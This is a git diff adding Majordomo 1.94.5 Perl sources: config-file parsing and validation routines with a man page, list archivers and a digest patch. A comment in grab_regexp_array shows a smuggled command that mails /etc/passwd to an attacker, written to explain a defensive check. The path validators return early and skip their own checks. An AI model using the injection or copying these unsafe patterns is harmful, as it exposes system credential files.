&handle_flag_files($listdir, $list); # this looks for files of + # the form listname.function + + unless ($locked) { + &main'set_lock("$listdir/$list.config.LOCK") || + &main'abort( "Can't get lock for $listdir/$list.config"); + } + + print("making default\n") + if ($debug > 1) && (! -e "$listdir/$list.config"); + + &writeconfig($listdir, $list) + unless -e "$listdir/$list.config" ; + + print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1; + open(CONFIG, "$listdir/$list.config") + || &main'abort( "Can't open $listdir/$list.config"); + + while ($_ = ) { + + next if /^\s*(#|$)/; # remove comment and blank lines + chop $_; # remove the trailing \n + s/#.*//; # remove comments at the end of lines + + $here_doc = 0; + + ($key,$value) = split(/=/, $_, 2); # try splitting on = + if ($key =~ /\<\) { + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $end = 0, last if $stop eq $value; + push(@errors, + "invalid blank line found at line ", $. - 1, "\n"), $end = 0, + last if $end == 1; + + if ( $value eq '' ) { # stop accumulating on empty line + # unless it is right b4 $stop + $end = 1; + } + + # call the parse function for every value in the here document + # take the output of the parse function and add it to the + # string representation of the array. In the string representation, + # array values are separated by the ^A character. + + if (defined($main'config_opts{$list,$key})) { + $main'config_opts{$list,$key} .= "\001" . + &$parse($value, $list, $key); + } else { # we are starting an array + $main'config_opts{$list,$key} = + &$parse($value, $list, $key); + } + } + } + } + +close(CONFIG); + +&main'free_lock("$listdir/$list.config.LOCK") unless $locked; + +print STDERR @errors if $debug > 1; + +return 1 if @errors; +return 0; +} + +##### +# +# The grab functions that validate values are defined below: +# +# grab_absolute_dir - looks for root anchored existing directory +# uses @main'safedirs to determine valid +# paths. +# grab_absolute_file - looks for root anchored existing file +# uses @main'safefiles to determine valid +# paths. +# +# grab_bool - parses boolean options "yes", "y", "no", "n" +# +# grab_enum -- validates an enumerated value from a sequence +# +# grab_integer -- validates an integer +# +# grab_regexp -- validates a regexp. Must have leading and trailing +# match delimiters. +# +# grab_restrict_post -- validates the existance of files listed +# +# grab_string -- reads/returns a string. No checking is done. +# +# grab_word - grabs one whitespace delimited word. Complains if more +# than 1 word. +#### + +sub grab_absolute_dir { + local($dir, $list, $key) = @_; + + return(""); + return ("") if $dir eq "undef"; + return ("") if $dir eq ""; + + push(@errors, "Relative path element '..' in $dir is not allowed\n") + if $dir =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $dir is not allowed\n") + if $dir =~ m#/\./# ; + + push(@errors, "$dir must be root anchored\n") + if $dir !~ m#^/# ; + + foreach $i (@main'safedirs) { + if ($dir =~ m#$i#) { + return $dir if ( -d $dir ); + push(@errors, "Directory $dir doesn't exist\n"); + return ""; + } + } + + push(@errors, "Directory $dir is not safe\n"); + return ""; +} + +sub grab_absolute_file { + local($file) = @_; + + return(""); + push(@errors, "Relative path element '..' in $file is not allowed\n") + if $file =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $file is not allowed\n") + if $file =~ m#/\./# ; + + push(@errors, "$file must be root anchored\n") + if $file != m#^/# ; + + foreach $i (@main'safefiles) { + if ($file =~ "m#$i#") { + return $file if ( -f $file ); + push(@errors, "File $file doesn't exist\n"); + return ""; + } + } + + push(@errors, "File $file is not safe\n"); + return ""; +} + +sub grab_bool { +local($bool) = @_; + + $bool =~ tr/A-Z/a-z/; + + return 1 if $bool eq "yes"; + return 1 if $bool eq "y"; + return 0 if $bool eq "no"; + return 0 if $bool eq "n"; + + push(@errors,"Unknown boolean value $bool in config file at line $.\n"); + return 0; +} + +sub grab_enum { + local($value, $list, $key) = @_; + local($i, @enum) = ""; + local($default_value) = ""; + + if ($installing_defaults) { # the value when installing defaults is + # the entire enumerated list, with the + # default at the end + @enum = split(/\001/, $value); + $value = pop(@enum); + + $default_value = $value; + + if ( $value =~ s/^#!// ) { + $default_value = $value; + + $value = eval("$value"); + push(@errors, $@) if $@ ne ""; + + } + + # + # duplicate here for better error message during + # default setup. + # + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "This value was taken from the default list.\n" . + "It was produced by $default_value\n" . + "So it is likely to be taken from majordomo.cf.\n" . + "BTW, the line number shown here is the line number of the last line and not relevant.\n" . + "The key to which the value was assigned was $key " . "\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" ); + + return ""; + + + } else { + @enum = split(/\001/, $known_keys{$key}); + pop(@enum); + } + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" . + " the key was $key " . "\n" . + "installing_default was $installing_defaults" . "\n"); + + + return ""; +} + +sub grab_integer { + local($num, $list, $key)=@_; + return($num) if $num =~ /^[1-9][0-9]*$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not an integer at line $.\n"); + return ""; +} + +sub grab_integer_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, "$num is not an integer at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_float { + local($num)=@_; + return($num) if $num =~ /^[0-9][0-9]*\.[0-9]+$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not a floating point number at line $.\n"); + return ""; +} + +sub grab_float_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*\.[0-9]+$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, + "$num is not an floating point number at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_regexp_array { + local($value, $list, $key) = @_; + local(@re_array) = split(/\001/,$value); + local(@return_re, @re_errors, $re, $dlm) = (); + + foreach $re (@re_array){ + if ($re =~ /\001/) { + push(@re_errors, + "regular expression |$re| contains a ^A at line $.\n"); + } + # if we don't check for an extra deliminator here, an + # evil person could sneak stuff in here, since it + # is eval'd... + # Ie: + # advertise = << END + # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: + # END + # + elsif ($re !~ m:^((/)|m([^\w\s])):) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + else { + $dlm=($2||$3); + if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + elsif (eval "'' =~ $re", $@) { + push(@re_errors, $@); + } + else { + push(@return_re, $re); + } + } + } + + if (@re_errors) { + push(@errors, @re_errors); + return ""; + } + return (join("\001", @return_re)); +} + +sub grab_restrict_post { + local($list) = @_; + local(@files) = (); + + @files = split (/[:\s]+/, $list); + foreach (@files) { + # add listdir if no leading / + # + $_ = ( m@^/@ ? $_ : "$main'listdir/$_"); #'; + push(@errors, "Can't find restrict_post file $_ at line $.\n" ) + unless -e $_; + } + return ($list); # if the list isn't any good, resend is ok about it +} + +sub grab_string { + local($string) = @_; + return($string); +} + +# accumulate an array of strings allowing escape sequences stared with a -. +sub grab_string_array { + local($value, $list, $key) = @_; + local(@s_array) = split(/\001/,$value); + local(@return_s, @s_errors, $str) = (); + + foreach $str (@s_array){ + + # a single - on a line means a blank character/line + $str = '' if ( $str eq '-' ); + $str =~ s/^-(\s+)/$1/; # a - saves space + $str =~ s/^--/-/; # a -- means - + + push(@return_s, $str), + next if $str !~ /\001/; + push(@s_errors, + "string |$str| contains a ^A at line $.\n"); + } + + if (@s_errors) { + push(@errors, @s_errors); + return ""; + } + return (join("\001", @return_s)); +} + +sub grab_word { + local($word) = @_; + + push(@errors, "More then one word " . $count . + "in value $_ at line $.\n") + if ($count = split(' ', $word)) > 1 ; + return ($word); +} + + +#### +# +# start utility routines +# +#### +sub config'get_def { + local($key, $default, $list) = @_; + local($parser) = (); + local($digest) = undef; + + # sometimes the list variable doesn't get overridden + #$orig_list = $list; # Does anyone ever need this? + $list =~ s/.new$//; # chomp a .new extention to load + # a replacement file + $baselist = $list; # Compatibility + + &main'abort( "Improper number of args to get_def") unless defined $list; + + # discover what mode we are working in + # are we generating a digest list + $digest = 1 if $list =~ /-digest$/; + + if ( $default =~ s/^#!// ) { + $default = eval("$default"); + print $@ if $@ ne ""; + } + + $parser = $parse_function{$key}; + return(($default eq '') ? '' : &$parser($default, $list, $key)); +} + +sub substitute_values { + # BUG the string \$ can't be embedded, but I see no reason it should + # be needed + local($string, $list) = @_; + + if ( index($string, '$') < $[ ) { + # if there is no $ in the string, just return the string + return($string); + } + + # hide escaped \$ variable references + $string =~ s/\\\$/\002/; + + $string =~ s/\$LIST/$list/g; + $string =~ s/\$VERSION/$main'majordomo_version/g; + $string =~ s/\$SENDER/$main'from/g; + + # replace the escaped $'s + $string =~ s/\002/\$/; + + return($string); +} + + +#### +# +# Routines for package main. +# +#### + + +# get the boolean value. Return true if not the number 0 or null. +sub main'cf_ck_bool { #given the name of the list and item, look it up + local($list, $key) = @_; + + return (1) if (($main'config_opts{$list,$key} != 0) && + $main'config_opts{$list,$key} ne ''); + return (0); +} + + +sub main'new_keyword { # all args are required + local($key,$value,$function,$subsystem,$comment) = @_; + + die "new_keyword: key is not defined" if !defined($key); + # value can be undef, so don't check for defined state of value. + die "new_keyword: function is not defined" if !defined($function); + die "new_keyword: subsystem is not defined" if !defined($subsystem); + die "new_keyword: comments are not defined" if !defined($comment); + + $key =~ s/^\s*//; # strip whitespace front + $key =~ s/\s*$//; # strip whitespace rear + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $function =~ s/^\s*//; # strip whitespace front + $function =~ s/\s*$//; # strip whitespace rear + $subsystem =~ s/^\s*//; # strip whitespace front + $subsystem =~ s/\s*$//; # strip whitespace rear + $comment =~ s/^\s*//; # strip whitespace front + $comment =~ s/\s*$//; # strip whitespace rear + + die "Keyword $key > 18 characters" if length($key) > 18; + + $known_keys{$key} = ( defined($value) ? $value : ''); # use null value + # for undef + if (!defined(&$function)) { + die "Unknown function $function (package config) for keyword $key\n"; + } + + $parse_function{$key} = $function; # set the function + + $subsystem{$key} = $subsystem; # set the subsystem + + $comments{$key} = $comment if defined $comment; # set the documentation +} + +# a dummy main for testing. You aren't expected to understand this junk. +#package main; +#require "majordomo.cf"; +#require 'mm_match_user' ; +# +# +# +#&main'get_config($ARGV[0],$ARGV[1]); +#&config'writeconfig($ARGV[0], $ARGV[1]); +#foreach $i (sort(keys(%main'config_opts))) { +#local($j) = $i; +#$j =~ s/^$ARGV[1]$;//; +#$j =~ s/^$ARGV[1]//; +#print ($j . " = " . +# ($main'config_opts{$i} eq ''? "undef" : $main'config_opts{$i}) . "\n") +# unless $j eq ''; +#} +#print @config'errors; +# + +1; # keep require happy. + +############################################################### + +# These next few lines are legal in both Perl and nroff. + +.00; # finish .ig + +'di \" finish diversion--previous line must be blank +.nr nl 0-1 \" fake up transition to first page again +.nr % 0 \" start at page 1 +'; __END__ ##### From here on it's a standard manual page ##### +.TH config_parse.pl 8 +.SH NAME +config_parse.pl, new_keyword, config_opts, %known_keys \- Add a new keyword + to the majordomo configuration file parser. +.SH Syntax +.nf +.B &main'new_keyword(key, default_value, parse_function, subsystem, comment) + +.B $config_opts{, key} +.SH Description + +The new_keyword function registers a new keyword with the majordomo +configuration file parser. The default value, or an overriding value +specified in the config file will be put into the array +%main'config_opts, which is indexed by the listname and the key. + +The arguments to main'new_keyword are: +.TP 15 +key +The text of the keyword in the configuration file (e.g. +subscription_policy). It should use the '_' as a word separator and +should be less than 20 characters total length. + +.TP 15 +default_value +The default value for the string. Empty quotes must be used if the +value is to be null. If the default value starts with the characters +'#!', the string is eval'led in the context of the config package. The +function config'get_def performs the evaluation. Besides the global +values, the name of the list is available in the variable "$list", and +the current key name is available in the variable "$key". + +If the keyword is an enumerated type, the value must follow this form: + +.I value1^Avalue2^Avalue3^Avalue2 + +^A is control-A (ascii octal value 001). The default value for the +keyword is the last value in the list (note: that value2 must appear +twice, once to show it is a member of the list, and last to show that +it is the default value.) + +If the value can be an array, the default value can be a ^A separated +set of elements. These values correspond to the possible values of the +%known_keys array Before installing the config_opts code for the first +time, it is a good idea to look over the perl array %known_keys, and +change the default values. + +.TP 15 +parse_function +The parse function is used to validate the data supplied by the list +maintainer and to try to point out problems with the data. There are a +number of parse functions defined, all of the MUST be in the config +package. If you are writing a parse function of your own, make sure +that it is in the config package, otherwise the parser won't find it. + +By convention all of the parse functions supplied with in +config_parse.pl start with grab_. The name of the function is used to +derive a type value for the inline documentation. All functions that +are able to accept multiple arguments must end in _array. The +supplied functions are: + +.RS 15 +.TP 10 +grab_absolute_dir +A root anchored directory +.TP 10 +grab_absolute_file +A root anchored file +.TP 10 +grab_bool +choose from: yes, no, y, n +.TP 10 +grab_enum +One of a list of possible values +.TP 10 +grab_integer +an integer (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_integer_array +an array of integers (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_float +a floating point number with decimal point. Exponential notation is not +supported. +.TP 10 +grab_float_array +an array of floating point numbers with decimal point. +Exponential notation is not supported. +.TP 10 +grab_regexp_array +an array of perl style regular expression with leading/trailing /'s +.TP 10 +grab_restrict_post +a series of space or : separated file names in which +to look up the senders address +(restrict-post should go away to be replaced by an +array of files) +.TP 10 +grab_string +any text up until a \n stripped of leading and trailing whitespace +.TP 10 +grab_string_array +handle an array of strings possibly sperated by ^A characters. +.TP 10 +grab_word +any text with no embedded whitespace +.RE + +.TP 15 +subsystem +A unique name for the value for your subsystem. This is used to clear +out old keywords when a subsystem module is removed. Only two +subsystems are defined by default: majordomo and resend. If the digest +program is converted, then the digest subsystem will also be defined. + +I would suggest that the unique identifiers for addin subsystems to +the majordomo command be prefixed with "maj-". + +.TP 15 +comment +Documentary text that is filled and printed in the config file. This +text should describe the purpose and function of the keyword. + +.SH Diagnostics + +The function calls die if any of its arguments are missing. While this +isn't as nice as trying to handle the error, it sure does get the +attention of the majordomo maintainer. + +.SH Bugs +There is no way to add text describing a new type to the header of the +config file. The documentation on a new type has to be done in the +comment text. + +The default string for an enumerated type shouldn't require +duplication of the default value. The default value string shouldn't +be so heavily overloaded either. + +This man page should be more explicit about the checks done by the +parse functions. + +new_keyword doesn't yet check and reject duplicate keywords, so it is +up to the majordomo maintainer to make sure that keywords don't +conflict. + +main'cf_ck_bool should be documented here as well. + +.SH See Also +majordomo(8), perl(1) + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/archive.pl b/update/scripts/packages/majordomo-1.94.5/contrib/archive.pl new file mode 100644 index 0000000..0e7e7e4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/archive.pl @@ -0,0 +1,109 @@ +#!/bin/perl + +#(Message inbox:15) +#Return-Path: Majordomo-Users-Owner@greatcircle.com +#Message-Id: +#From: Alan Millar +#Subject: Perl prog to create list archives +#To: majordomo-users@greatcircle.com +#Date: Wed, 1 Sep 1993 00:32:03 -0800 (PDT) +#Cc: brent@greatcircle.com +#Reply-To: Alan Millar +# +# +#Hi- +# +#Here is a perl program I wrote to keep mailing list archives. +#It is designed to produce list archive files similar to Revised +#Listserv. Each message is separated by a line of "==="s and +#most of the header "noise" is gone. Instead of being stored +#in one big file, they are split into one file per month with +#the name logYYMM where YY and MM are the numeric year and +#month. +# +#I call it from /usr/lib/aliases using: +# +# listname-archive: "|/usr/local/mail/majordomo/wrapper archive.pl \ +# /usr/local/mail/lists/listname.archive" +# +#Where the last parameter is the directory name to put the +#log files into. +# +#Give it a try and let me know what you think. +# +#- Alan +# +#---- ,,,, +#Alan Millar amillar@bolis.SF-Bay.org __oo \ +#System Administrator =___/ +#The skill of accurate perception is called cynicism by those who don't +#possess it. +#---- + + +# archive.pl +# Mailing list archiver. Specify the directory (not the file) +# on the command line. Messages are written to a file +# called 'logYYMM' in that directory, where YY is the two digit +# year and MM is the two-digit month. + +# Written by Alan Millar August 25 1993. + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +# The headers we want to keep, in order: +@keepHeaders = + ( "To", "cc" + , "from", "reply-to", "organization" + , "date", "subject" + , "summary", "keywords" + , "Content-Type" + ); + +#----------------------------------- +# Set up output file. See if directory is specified on command line. +$outputDir = $ARGV[0]; +if (! -d $outputDir) { + $outputDir = "/tmp"; +} +$outputDir =~ s/\/$//; # drop trailing slash + +#------------------------------------ +# Get date for log file name +($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + +# log file name is form "logYYMM" +$logFile = sprintf("$outputDir/log%2.2d%2.2d",$year,$mon + 1); + +# open output file +&lopen(OUTPUT,">>",$logFile); + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Print the headers we want + +print OUTPUT "========================================"; +print OUTPUT "======================================\n"; + +foreach $key (@keepHeaders) { + $key =~ tr[A-Z][a-z]; + if (defined($hdrs{$key})) { + $newKey = $key; substr($newKey,0,1) =~ tr/a-z/A-Z/; + printf OUTPUT "%-15s%s\n", "$newKey: ", $hdrs{$key}; + } # if non-blank +} # foreach + +print OUTPUT "\n"; + +# copy the rest of the message + +while () { + print OUTPUT $_; +} +print OUTPUT "\n"; + +&lclose(OUTPUT); diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl b/update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl new file mode 100644 index 0000000..d7c6754 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl @@ -0,0 +1,34 @@ +#!/bin/perl + +# archive: A hack to use mh to handle the archives +# +# You may redistribute this file, or inlcude it into the offical majordomo +# package +# +# $Source: /sources/cvsrepos/majordomo/contrib/archive_mh.pl,v $ +# $Revision: 1.4 $ +# $Date: 1997/03/10 15:40:41 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/tools/majordomo-1.56/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +exec("/tools/mh-6.8/lib/mh/rcvstore +$filedir/$ARGV[0] -nocreate\n"); diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/digest.diff b/update/scripts/packages/majordomo-1.94.5/contrib/digest.diff new file mode 100644 index 0000000..12820b8 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/digest.diff @@ -0,0 +1,348 @@ +From: pdc@lunch.asd.sgi.com (Paul Close) +Subject: Digest code diffs for 1.90 +Date: Thu, 21 Apr 1994 17:56:22 -0700 (PDT) + +Here are my changes to digest which support config file settings for +specifying the digest size in lines and/or the maximum age of the oldest +article, in days. Also support a new flag, -p (for "push"), intended for +use by cron jobs. It checks to see if a digest should be sent, and sends +it if it should (pretty well because an article is too old, but you could +use this to send all the time). + +A few comments on the code. In &should_be_sent, I calculate how big the +article would be if the headers were stripped, both in bytes and in lines. +I add in a bit of a fudge factor for mail headers, just so we don't get too +close to maxlength bytes before sending. Typically, the line count will +cause a digest to be sent before the byte count would (I see the maxlength +count as more of a mailer issue than a digest issue). + +The old digest code had a strange construct: s/\n+$/\n/; I assumed that +this was to trim newlines off the end of the string, but multi-line regexps +don't work that way. The only way I could get this to work is: + + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + +Any clever hacks appreciated. In the same area, I changed the code that +reads the body of the message to read the whole thing at once (undef $/) +rather than do multiple string concatenations. Seems more efficient. I +also added a ^From escaper, using enough of a real "From " line pattern, +that it shouldn't match just any line beginning with From. + +Under the heading of random perl lore, to count the number of newlines in a +multi-line string, I used: + + $lines += ($body =~ s/\n/\n/g); + +seems pretty straightforward, but I have the nagging suspicion there's an +easier way. + +Finally, I made digest safe past the year 2000, by printing $year+1900 +rather than 19$year. Whoopee! + +Comments welcome! The code is based on 1.90b2, which is the latest I have. + +Index: digest/digest +*** digest/digest.old Sun Mar 6 14:47:06 1994 +--- digest/digest Thu Apr 21 17:35:33 1994 +*************** +*** 63,72 **** + + if (defined($opt_r)) { + &receive_message; + } elsif (defined($opt_m)) { + &make_digest; + } else { +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +--- 63,79 ---- + + if (defined($opt_r)) { + &receive_message; ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } elsif (defined($opt_m)) { + &make_digest; ++ } elsif (defined($opt_p)) { ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } else { +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +*************** +*** 73,97 **** + + exit(0); + + sub receive_message { +- $sum = 0; + $i = 0; + do { +! $i++; +! $file = sprintf("%s/%03d", $V{'INCOMING'}, $i); +! $sum += (-s $file); + } until (! -e $file); + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + while () { + print MSG $_; + } + close(MSG); +- $sum += (-s $file); +- if ($sum > $V{'DIGEST_SIZE'}) { +- &make_digest; +- } +- return(1); + } + + +--- 80,146 ---- + + exit(0); + ++ sub should_be_sent { ++ # fudge factors for headers and footers ++ $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); ++ $lines = 25; ++ $i = 0; ++ while (1) { ++ $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); ++ last unless (-e $file); ++ open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); ++ ++ $/ = ''; # grab the header ++ $head = ; ++ ++ # only count From/Date/Subject header fields to get a ++ # more accurate size and line count. ++ $head =~ s/\n\s+/ /g; ++ $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $sum++, $lines++; ++ ++ # count the body of the message ++ undef $/; ++ $body = ; ++ $sum += length($body); ++ $lines += ($body =~ s/\n/\n/g); # count newlines ++ ++ $/ = "\n"; ++ close(COUNT); ++ $sum += length($EB) + 2, $lines += 2; # account for message delimiter ++ ++ if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { ++ return(1); ++ } ++ if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { ++ return(1); ++ } ++ if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { ++ return(1); ++ } ++ } ++ print "don't send. sum = $sum, lines = $lines\n"; ++ ++ return(0); ++ } ++ + sub receive_message { + $i = 0; + do { +! $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); ++ + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); ++ ++ # copy the message + while () { + print MSG $_; + } ++ + close(MSG); + } + + +*************** +*** 111,129 **** + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; +! ($subj) = ($head =~ /^subject:\s+(.*)/i); +! $subj = "[none]" unless $subj; +! ($from) = ($head =~ /^from:\s+(.*)/i); +! ($date) = ($head =~ /^date:\s+(.*)/i); + +! $/ = "\n"; +! while () { +! s/^-/- -/; #escape encapsulation boundaries in message +! $body .= $_; +! } + close(message); +! $body =~ s/\n+$/\n/; + + push(@subj,$subj); + print TEMP <; + $head =~ s/\n\s+/ /g; + $body = ""; +! $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; +! ($from) = $head =~ /^From:\s+(.*)/i; +! ($date) = $head =~ /^Date:\s+(.*)/i; + +! undef $/; +! $body = ; + close(message); +! +! # escape ^From ... +! $body =~ +! s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; +! $body =~ s/^-/- -/g; # escape encapsulation boundaries in message +! # trim trailing \n's +! $len = length($body) - 1; +! $len-- while (substr($body,$len,1) eq "\n"); +! substr($body,$len+1) = ""; + ++ $/ = "\n"; ++ + push(@subj,$subj); + print TEMP <))[7]; + chdir($HOME); +! &getopt("rmc:Cl:") || +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +--- 260,267 ---- + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); +! &getopt("rmpc:Cl:") || +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +*************** +*** 245,252 **** + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedirsuffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +--- 301,310 ---- + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; ++ $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; ++ $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +*************** +*** 327,333 **** + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! return($DAYS[$wday] . ", $mday " . $MONTHS[$mon] . " 19$year"); + } + + sub set_lock { +--- 385,392 ---- + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! $year += 1900; +! return("$DAYS[$wday], $mday $MONTHS[$mon] $year"); + } + + sub set_lock { + +Index: config_parse.pl +*** config_parse.pl.old Thu Apr 21 07:32:50 1994 +--- config_parse.pl Thu Apr 21 07:41:33 1994 +*************** +*** 128,133 **** +--- 128,135 ---- + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', ++ 'digest_maxlines', '', ++ 'digest_maxdays', '', + # general stuff below + 'comments', '', # comments about config file + ); +*************** +*** 331,336 **** +--- 333,346 ---- + Just like digest_rm_footer, it is also non-operative.', + ); + ++ 'digest_maxlines', ++ "automatically generate a new digest when the size of the digest exceeds ++ this number of lines.", ++ ++ 'digest_maxdays', ++ "automatically generate a new digest when the age of the oldest article in ++ the queue exceeds this number of days.", ++ + # match commands to their subsystem, by default only 4 subsystems + # exist, majordomo, resend, digest and config. + %subsystem = ( +*************** +*** 372,377 **** +--- 382,389 ---- + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', ++ 'digest_maxlines', 'digest', ++ 'digest_maxdays', 'digest', + # general stuff here + 'comments', 'config', + ); +*************** +*** 418,423 **** +--- 430,437 ---- + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', ++ 'digest_maxlines', 'grab_integer', ++ 'digest_maxdays', 'grab_integer', + # general stuff below + 'comments', 'grab_string_array', + ); + +-- +Paul Close pdc@sgi.com ...!{ames, decwrl, uunet}!sgi!pdc + + No fate but what we make + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/digest.num b/update/scripts/packages/majordomo-1.94.5/contrib/digest.num new file mode 100644 index 0000000..177c9d4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/digest.num @@ -0,0 +1,45 @@ +#!/usr/local/bin/perl + +# Program name digest.num -- Digest numbering. +# +# Lindsay Haisley, FMP Computer Serivces (fmouse@fmp.com) +# +# Usage: digest.num -l list_name [-i issue_num] [-v volume_num] +# +# Sets number for next digest issue and volume number in the config file +# for list list_name. If issue_num and volume_num are not supplied, they +# are set to 0. + +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +require "$cf"; +# chdir("$homedir"); + +require "shlock.pl"; +require "config_parse.pl"; +require "getopt.pl"; + +&Getopt('liv'); +die "No list config specified\n" if !defined($opt_l); +die "List config file $opt_l.config does not exist\n" unless -e "$listdir/$opt_l.config"; +&get_config($listdir, $opt_l); + +if (defined($opt_v)) { + $volume = $opt_v; +} else { + $volume = 0; +} + +if (defined($opt_i)) { + $issue = $opt_i; +} else { + $issue = 0; +} + +$config_opts{$opt_l, "digest_volume"} = $volume; +$config_opts{$opt_l, "digest_issue"} = 